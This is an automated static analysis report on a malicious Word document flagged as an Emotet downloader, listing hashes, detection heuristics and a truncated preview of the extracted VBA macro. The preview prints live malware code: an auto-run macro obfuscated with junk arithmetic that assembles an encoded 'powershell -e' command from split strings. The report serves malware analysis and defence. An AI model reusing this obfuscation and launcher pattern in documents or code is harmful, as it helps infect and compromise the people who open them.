Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5015ed9aa5bc2083…

MALICIOUS

Office (OLE)

207.8 KB Created: 2019-03-12 22:05:00 Authoring application: Microsoft Office Word First seen: 2019-04-17
MD5: 3308b2b91510fba7924fc13de0f5e133 SHA-1: 079b3eb7cab1f49987c6d7f137d78d2fe4687f77 SHA-256: 5015ed9aa5bc208368bc38e20aed1071acb342ab4dfa61becbb14c124f07c55c
342 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is a malicious Office document containing obfuscated VBA macros. The critical heuristic OLE_VBA_WMI_PROCESS_CREATE indicates the macro uses WMI to launch a process, and the split keyword obfuscation highlights the use of 'winmgmts'. This functionality is commonly used by malware to download and execute further stages. ClamAV detection as Doc.Downloader.Emotet-6894283-0 further supports a downloader role.

Heuristics 9

  • ClamAV: Doc.Downloader.Emotet-6894283-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6894283-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 44225 bytes
SHA-256: e9fd42ecd6109f7a301d757a49fea479cc1eb23910db6af8ceac7a61b0110833
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "I4wQDB"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function v_A_AA()
   If RkAAUB = ooB4DB Then
GAAwkGAA = 434890667 * Oct(486501017) / lAAoAAB - CDate(609174029 + m1kAUA) * 317298793 + Sgn(919149978 + Sqr(C_AAG1A))
p_wXQDD = (zAcDAoB4 / Rnd(zxZZBA_A) - KAAXwwA * Atn(523295931) - wDXDA4 - Log(rQDAXAGD - TA1kAoQA / rUAA_QBA - 815297031))
End If
   If dAA1Uck = oBZAAAA Then
JwxcQD = 563784183 * Log(146924573) / HAA_AA - CDbl(567243094 + zUUGADUX) * 778285476 + Sin(625999533 + Sqr(sUQQDZ4Q))
NAkUAAkA = (TDUB_Q / Cos(DoQQ1D1A) - DQcZAAkG * Atn(577462493) - dAAAAQ_ - Fix(QBAU__CA - F1AAcQ / CAUACABZ - 831717667))
End If
   If f_BDAAD = sCkCXBQ Then
JBAcAB = 487030439 * CLng(689378630) / V4oABAAX - Sin(241869566 + sACAZcA) * 736598463 + Fix(353631197 + Cos(P4_xk4B1))
bkAACU = (vA14AA / CInt(ck4wCA) - P1QQAADC * Tan(521736263) - jkAQAU - Tan(aUGAkCA - iAA1ADZG / J11ADA - 28810683))
End If
   If IAQACAGG = AxBAUA Then
nABw1AAk = 312634494 * Int(385560998) / CUAk1_D - Sqr(333996650 + TQcZoB) * 695281369 + Sgn(238807685 + Log(BD_AAC))
ZBZ1w_X = (XBCDAB_G / CDate(oDUADA) - wCwUDAA * Tan(850960095) - EBQAAUAU - Oct(oZcwAG - oAAAAo / jAZAAUAG - 588957282))
End If
   If dCGAAxU = UGUc4Ao Then
UQDB_AD = 751191813 * Cos(345683817) / wZAAwZA - CBool(574830780 + EUUDwck) * 783210277 + Sin(13790579 + Log(lQDQxA))
lBGA_GAA = (FZ1AD1BA / CBool(rCcAAZ) - NDwQAAwC * Tan(417496810) - UAAAAA - CDbl(EAAUDcAx - RAcACQU / IBAAoAU - 354805831))
End If
   If YAAUAcA4 = IUUDkB Then
rAxBXZA = 165046103 * Hex(691641122) / IAAUUAQ - Cos(723850223 + F_XxAD) * 929853885 + Sgn(83997503 + Sgn(BGBAQBA))
Uk1AkGA = (wABk1A / Hex(qAAkUD) - YZAAoo * CLng(706263218) - hAAADDA - CSng(F_AADZZ - qAwcxB / JB1UDAB - 719392491))
End If
   If rwQZXAA = j41GAA Then
uBXAxwAU = 503922577 * Atn(360577522) / LBD_wD_U - CStr(788111549 + PAAAAGk) * 642717385 + Sqr(877241550 + CStr(jXZ4BxwQ))
ZAABwAAD = (uAxAc4 / CByte(CUUAGZ) - z4w__x * Oct(579923891) - nZBxBGBA - CLng(zABAAXAA - WUUADAAB / tAXDwDwx - 186435345))
End If
End Function
Sub autoopen()
On Error Resume Next
   If VQB4DDAA = CwAQAA Then
EAABUcC = 124118189 * Sin(428374399) / kkAAAA - CLng(743174534 + B_ZUQB) * 999733503 + CDbl(708239000 + CLng(BABUQcA))
tGcAU1 = (uUcA1XAD / CSng(KABcAXA) - GU4BZA * Rnd(608597989) - DBkACBD - Round(MAUCDCAQ - vUA4QAA / c_DUAc - 311685230))
End If
   If Yo_DAA = bwxZAXCX Then
jAZBwUAG = 983347729 * CStr(863302685) / Kc4A1cU - Sqr(970234293 + GxXAQkGA) * 319706499 + Atn(484319412 + CByte(Sk4AAQ))
mAZxxxA = (wQAABA_D / Log(CcGQoZ) - YAUDAAA * CDate(113589634) - IxZXkAD - CDbl(dQAkQAB - EA4ZBUA / fADAUxC - 205711855))
End If
   If JAAxGQkD = XQAUBBA Then
YQUkGAo = 69657895 * Sgn(671368512) / LoAGQC - CDbl(31351425 + pAXAXX) * 583808042 + Sqr(496988592 + CInt(zAXAXDQ))
jAUAwQ1 = (fAoAA4AA / Fix(w_AUAw) - BABBAAA_ * Rnd(254067140) - wAoAoAAB - CBool(dAAZQD - VQwAGA1B / wUADGAA - 609168783))
End If
fwAGUGc (twXXCAkG + "po" + wAX1AAAG + "wersh" + noCAQX + "ell -e " + OQxAGk + HAwoxABD + wAQx4Dc1 + zUAZAcBA + sAAABD4A + ocAxwA_ + QQAoGA)
   If DXxCAZCA = QQA_oDo Then
aDCAA4 = 330362747 * CStr(167227587) / cB1_kAAo - Fix(38227736 + wUGBUAX) * 594802303 + Atn(906290464 + CSng(pwA4kB))
VA_A_Dx = (AkXBBG / CByte(PQkBABB) - nDAQAAG * Rnd(689123640) - bAXQUA - Rnd(oBDCQww - FZAAo4kA / fGCZAAZ - 7885153))
End If
   If YxQABGD = pQQAwQQ Then
ZABxCC = 433311308 * CSng(829316882) / MDwQABAU - Cos(270606872 + ZGkcAAB) * 715447534 + Atn(83083482 + Sqr(DBQZA_))
JAQDU1B = (ZBAAA4c / CDate(A4w4kA1) - ScAxXA * Fix(661308629) - wAAUQUww - Sqr(pAAQQUA - i4_AQcw / XUU4CA - 28546605))
End If
   If SDQ1ADD = KQA_cw Then
SA_BAAB = 427995619 * Oct(871183825) / XAB4BwQ1 - Rnd(597250766 + sAZDCk) * 470932864 + Sqr(348982978 + Sqr(DAc4ACX))
tCAAcADA = (VCcA1X / CBool(DAUCQD) - EBxGADC * Fix(887311460) - LZZABc - Int(vADUUU - FQcAAAQ4 / IAcAcD
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.